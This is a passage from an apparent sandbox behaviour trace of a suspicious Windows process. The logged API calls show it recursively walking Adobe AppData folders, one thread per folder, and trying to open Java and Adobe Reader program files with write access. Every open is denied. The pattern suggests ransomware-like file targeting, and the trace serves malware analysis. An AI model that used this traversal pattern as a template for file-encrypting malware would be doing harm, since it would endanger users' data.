_String2="..") returned 1 [0158.732] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa6) returned 0x97adb8 [0158.732] wcscpy (in: _Dest=0x97adb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" [0158.732] wcscat (in: _Dest=0x97adb8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\" [0158.732] wcscat (in: _Dest=0x97adb8, _Source="CRLCache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache" [0158.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x97adb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc54 [0158.733] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x908850 | out: lpFindFileData=0x908850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 0 [0158.733] FindClose (in: hFindFile=0x942430 | out: hFindFile=0x942430) returned 1 [0158.733] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x908850) returned 1 [0158.733] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acee8) returned 1 [0158.733] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad208) returned 1 Thread: id = 3840 os_tid = 0x101c [0156.096] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e8018 [0156.096] wcscpy (in: _Dest=0x8e8018, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" [0156.096] wcscat (in: _Dest=0x8e8018, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\" [0156.096] wcscat (in: _Dest=0x8e8018, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*" [0156.097] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9061d0 [0156.097] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da0d0 [0156.760] wcscmp (_String1=".", _String2=".") returned 0 [0156.760] FindNextFileW (in: hFindFile=0x8da0d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.760] wcscmp (_String1="..", _String2=".") returned 1 [0156.760] wcscmp (_String1="..", _String2="..") returned 0 [0156.760] FindNextFileW (in: hFindFile=0x8da0d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0156.760] wcscmp (_String1="AssetCache", _String2=".") returned 1 [0156.760] wcscmp (_String1="AssetCache", _String2="..") returned 1 [0156.760] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x9aec48 [0156.760] wcscpy (in: _Dest=0x9aec48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" [0156.760] wcscat (in: _Dest=0x9aec48, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\" [0156.760] wcscat (in: _Dest=0x9aec48, _Source="AssetCache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0157.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9aec48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13d8 [0157.277] FindNextFileW (in: hFindFile=0x8da0d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 0 [0157.277] FindClose (in: hFindFile=0x8da0d0 | out: hFindFile=0x8da0d0) returned 1 [0157.277] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9061d0) returned 1 [0157.277] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8018) returned 1 [0157.277] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7718) returned 1 Thread: id = 3841 os_tid = 0x1020 [0156.101] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e8498 [0156.101] wcscpy (in: _Dest=0x8e8498, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights" [0156.101] wcscat (in: _Dest=0x8e8498, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\" [0156.101] wcscat (in: _Dest=0x8e8498, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*" [0156.101] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9050f8 [0156.101] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942670 [0156.539] wcscmp (_String1=".", _String2=".") returned 0 [0156.540] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.540] wcscmp (_String1="..", _String2=".") returned 1 [0156.540] wcscmp (_String1="..", _String2="..") returned 0 [0156.540] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0156.540] FindClose (in: hFindFile=0x942670 | out: hFindFile=0x942670) returned 1 [0156.540] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9050f8) returned 1 [0156.540] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8498) returned 1 [0156.540] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7570) returned 1 Thread: id = 3842 os_tid = 0x1024 [0156.104] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7d48 [0156.104] wcscpy (in: _Dest=0x8e7d48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" [0156.104] wcscat (in: _Dest=0x8e7d48, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\" [0156.104] wcscat (in: _Dest=0x8e7d48, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*" [0156.104] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0156.104] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942670 [0156.545] wcscmp (_String1=".", _String2=".") returned 0 [0156.545] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.545] wcscmp (_String1="..", _String2=".") returned 1 [0156.545] wcscmp (_String1="..", _String2="..") returned 0 [0156.545] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0156.545] wcscmp (_String1="Dictionaries", _String2=".") returned 1 [0156.545] wcscmp (_String1="Dictionaries", _String2="..") returned 1 [0156.545] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x9361e0 [0156.545] wcscpy (in: _Dest=0x9361e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" [0156.545] wcscat (in: _Dest=0x9361e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\" [0156.546] wcscat (in: _Dest=0x9361e0, _Source="Dictionaries" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries" [0157.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9361e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1430 [0157.654] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0157.654] FindClose (in: hFindFile=0x942670 | out: hFindFile=0x942670) returned 1 [0157.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9085e8) returned 1 [0157.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7d48) returned 1 [0157.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7708) returned 1 Thread: id = 3843 os_tid = 0x1028 [0156.110] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e6f38 [0156.110] wcscpy (in: _Dest=0x8e6f38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2" [0156.110] wcscat (in: _Dest=0x8e6f38, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\" [0156.110] wcscat (in: _Dest=0x8e6f38, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*" [0156.110] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905a98 [0156.110] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x905a98 | out: lpFindFileData=0x905a98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942670 [0156.541] wcscmp (_String1=".", _String2=".") returned 0 [0156.541] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x905a98 | out: lpFindFileData=0x905a98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.541] wcscmp (_String1="..", _String2=".") returned 1 [0156.541] wcscmp (_String1="..", _String2="..") returned 0 [0156.541] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x905a98 | out: lpFindFileData=0x905a98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0156.541] FindClose (in: hFindFile=0x942670 | out: hFindFile=0x942670) returned 1 [0156.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905a98) returned 1 [0156.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6f38) returned 1 [0156.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8378) returned 1 Thread: id = 3844 os_tid = 0x102c [0156.110] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\default.jfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\default.jfc")) returned 0x20 [0156.342] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\default.jfc", dwFileAttributes=0x20) returned 0 [0156.342] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\default.jfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.342] GetLastError () returned 0x5 [0156.342] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\default.jfc", dwFileAttributes=0x20) returned 0 [0156.342] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x971d08) returned 1 Thread: id = 3845 os_tid = 0x1030 [0156.111] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\profile.jfc")) returned 0x20 [0156.340] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\profile.jfc", dwFileAttributes=0x20) returned 0 [0156.340] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.340] GetLastError () returned 0x5 [0156.340] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\profile.jfc", dwFileAttributes=0x20) returned 0 [0156.340] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93bf18) returned 1 Thread: id = 3846 os_tid = 0x1034 [0156.112] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\access-bridge-32.jar")) returned 0x20 [0156.950] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar", dwFileAttributes=0x20) returned 0 [0156.951] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\access-bridge-32.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.951] GetLastError () returned 0x5 [0156.951] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar", dwFileAttributes=0x20) returned 0 [0156.951] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50170) returned 1 Thread: id = 3847 os_tid = 0x1038 [0156.113] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\dnsns.jar")) returned 0x20 [0156.952] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar", dwFileAttributes=0x20) returned 0 [0156.952] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.952] GetLastError () returned 0x5 [0156.952] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar", dwFileAttributes=0x20) returned 0 [0156.952] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1528) returned 1 Thread: id = 3848 os_tid = 0x103c [0156.114] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\jaccess.jar")) returned 0x20 [0156.953] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar", dwFileAttributes=0x20) returned 0 [0156.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.953] GetLastError () returned 0x5 [0156.953] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar", dwFileAttributes=0x20) returned 0 [0156.953] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93cad0) returned 1 Thread: id = 3893 os_tid = 0x10f8 [0156.148] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\PPKLite.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ppklite.euq")) returned 0x20 [0157.202] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\PPKLite.EUQ", dwFileAttributes=0x20) returned 0 [0157.202] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\PPKLite.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ppklite.euq"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0157.202] GetLastError () returned 0x5 [0157.202] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\PPKLite.EUQ", dwFileAttributes=0x20) returned 0 [0157.202] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad8e8) returned 1 Thread: id = 3908 os_tid = 0x1158 [0156.159] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\eula.ini")) returned 0x20 [0156.159] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.159] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\eula.ini"), dwDesiredAccess=0xc0010000, 